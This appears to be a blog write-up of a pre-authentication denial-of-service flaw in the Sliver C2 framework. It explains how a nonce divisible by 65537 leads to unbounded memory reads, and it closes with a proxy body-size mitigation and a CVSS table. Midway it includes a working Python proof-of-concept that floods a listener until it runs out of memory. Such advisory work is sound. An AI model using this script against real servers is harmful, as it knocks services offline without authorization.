Feb 27, 2026·5 min read·6 visits
Sliver C2 listeners can be crashed remotely by unauthenticated attackers. By sending a specific nonce (a multiple of 65537), the server switches to a 'NoEncoder' mode that reads the entire request body into memory without limits. Sending a massive body triggers the OOM killer.
A pre-authentication Denial of Service (DoS) vulnerability exists in the Sliver adversary emulation framework (versions 1.5.0 to 1.5.44). By manipulating the HTTP session nonce to bypass encoder logic, unauthenticated attackers can force the server to allocate unlimited memory via `io.ReadAll`, leading to a process crash.
Sliver is the darling of the open-source C2 world. It's Go-based, robust, and supports mutual TLS, WireGuard, and HTTP(S) beacons. Red teams use it to emulate advanced adversaries, maintaining persistence on compromised networks. But here is the irony: the tool designed to control chaos is itself susceptible to a very primitive form of chaos—resource exhaustion.
Usually, C2 frameworks are paranoid. They encrypt everything, validate headers, and drop connections from anything that doesn't look like a valid implant. You can't just curl a C2 server and expect it to talk back; it usually ignores you.
However, vulnerability GHSA-hjr9-wj7v-7hv8 (or GO-2026-4280 for the Gophers) reveals a chink in the armor. It turns out that if you ask the server nicely—specifically, using a magic number—it drops its defenses and tries to swallow whatever data you feed it, until it chokes. This isn't a complex buffer overflow; it's a logic flaw in how Sliver handles "anonymous" session initiation.
Deep inside server/encoders/encoders.go, there is a function called EncoderFromNonce(). Its job is to decide how to decode the incoming traffic based on a nonce (number used once) provided by the client.
In a standard scenario, the encoder might be something complex like a modular encryption scheme. But there's a specific check that looks like a developer debugging backdoor or a legacy artifact:
// Pseudo-code representation of the flaw
func EncoderFromNonce(nonce int) Encoder {
if nonce % 65537 == 0 {
return &NoEncoder{}
}
// ... complex logic ...
}If the nonce is a multiple of 65537, the server selects NoEncoder. The NoEncoder is exactly what it sounds like: a pass-through that does zero decoding or validation. It just takes the raw bytes. This bypasses the usual cryptographic checks that would reject a garbage payload immediately.
The selection of NoEncoder wouldn't be fatal on its own. The real killer lies in server/c2/http.go, specifically within the startSessionHandler function. This handler deals with new sessions, including those that are unauthenticated (anonymous).
When the request comes in, the code needs to read the body to process it. In the authenticated paths, Sliver typically uses io.LimitedReader to ensure an implant doesn't send too much data. But in the anonymous handler path identified in this report:
// server/c2/http.go - The Vulnerable Pattern
func startSessionHandler(w http.ResponseWriter, req *http.Request) {
// ... routing logic ...
// CRITICAL FLAW: Reading the entire body into memory without a limit
data, err := io.ReadAll(req.Body)
if err != nil {
return
}
// ... processing data ...
}io.ReadAll is the bane of secure Go programming when dealing with untrusted input. It creates a byte slice exactly the size of the input. If I send you 10GB of 'A's, Go will try to allocate 10GB of RAM. If the server only has 8GB, the OS Out-of-Memory (OOM) killer steps in and sends a SIGKILL to the Sliver process. Game over.
Exploiting this is trivially easy. We don't need shellcode; we just need curl or a simple Python script. The attack chain is:
65537. This forces the NoEncoder path.POST request with a massive Content-Length header (e.g., 10000000000 for 10GB) and start streaming data.Here is what the attack looks like conceptually:
import requests
# The target Sliver HTTP listener
url = "http://target-sliver-c2:80/login"
# The magic nonce to trigger NoEncoder
params = {"q": "65537"}
# Create a generator to stream infinite data
def stream_garbage():
while True:
yield b"A" * 8192
print("[*] Attempting to exhaust server memory...")
try:
# Send a massive stream. The server tries to read it all into RAM.
requests.post(url, params=params, data=stream_garbage())
except Exception as e:
print(f"[+] Connection died (Server likely crashed): {e}")Because the server uses io.ReadAll before doing anything else with the data, it blocks until the stream finishes or memory runs out. Since we never finish the stream, memory runs out first.
For a red teamer, this is a nightmare scenario. You've spent weeks getting your implants onto target workstations. You have persistent access. Then, a blue teamer (or a rival threat actor) scans your C2 infrastructure, notices the Sliver signature, and sends a single malformed packet.
Result: The C2 server process dies immediately.
This is a classic asymmetry: the attacker spends $0 and 10 seconds to destroy an infrastructure that took days to build.
The fix implemented in version 1.5.45 is straightforward: stop trusting anonymous users. The developers replaced the naked io.ReadAll with a size-limited reader, likely enforcing a cap (e.g., 1MB) on unauthenticated session initiation requests.
If you cannot update immediately, the mitigation is architectural. You should never expose a C2 server directly to the internet anyway. Always use a redirector (Nginx, Apache, Caddy).
Nginx Mitigation:
server {
listen 80;
client_max_body_size 10M; # Cap the body size at the proxy level
location / {
proxy_pass http://sliver_backend;
}
}By enforcing client_max_body_size at the ingress, Nginx will reject the 10GB stream with a 413 Request Entity Too Large before it ever reaches the fragile Go code.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Sliver BishopFox | >= 1.5.0, <= 1.5.44 | 1.5.45 |
| Attribute | Detail |
|---|---|
| CWE | CWE-400: Uncontrolled Resource Consumption |
| Attack Vector | Network (Remote) |
| Privileges Required | None (Unauthenticated) |
| CVSS v4.0 | 5.3 (Moderate) |
| Impact | Denial of Service (OOM Crash) |
| Fix Version | 1.5.45 |
The software does not properly control the allocation of resources, allowing an attacker to cause a denial of service by consuming all available memory.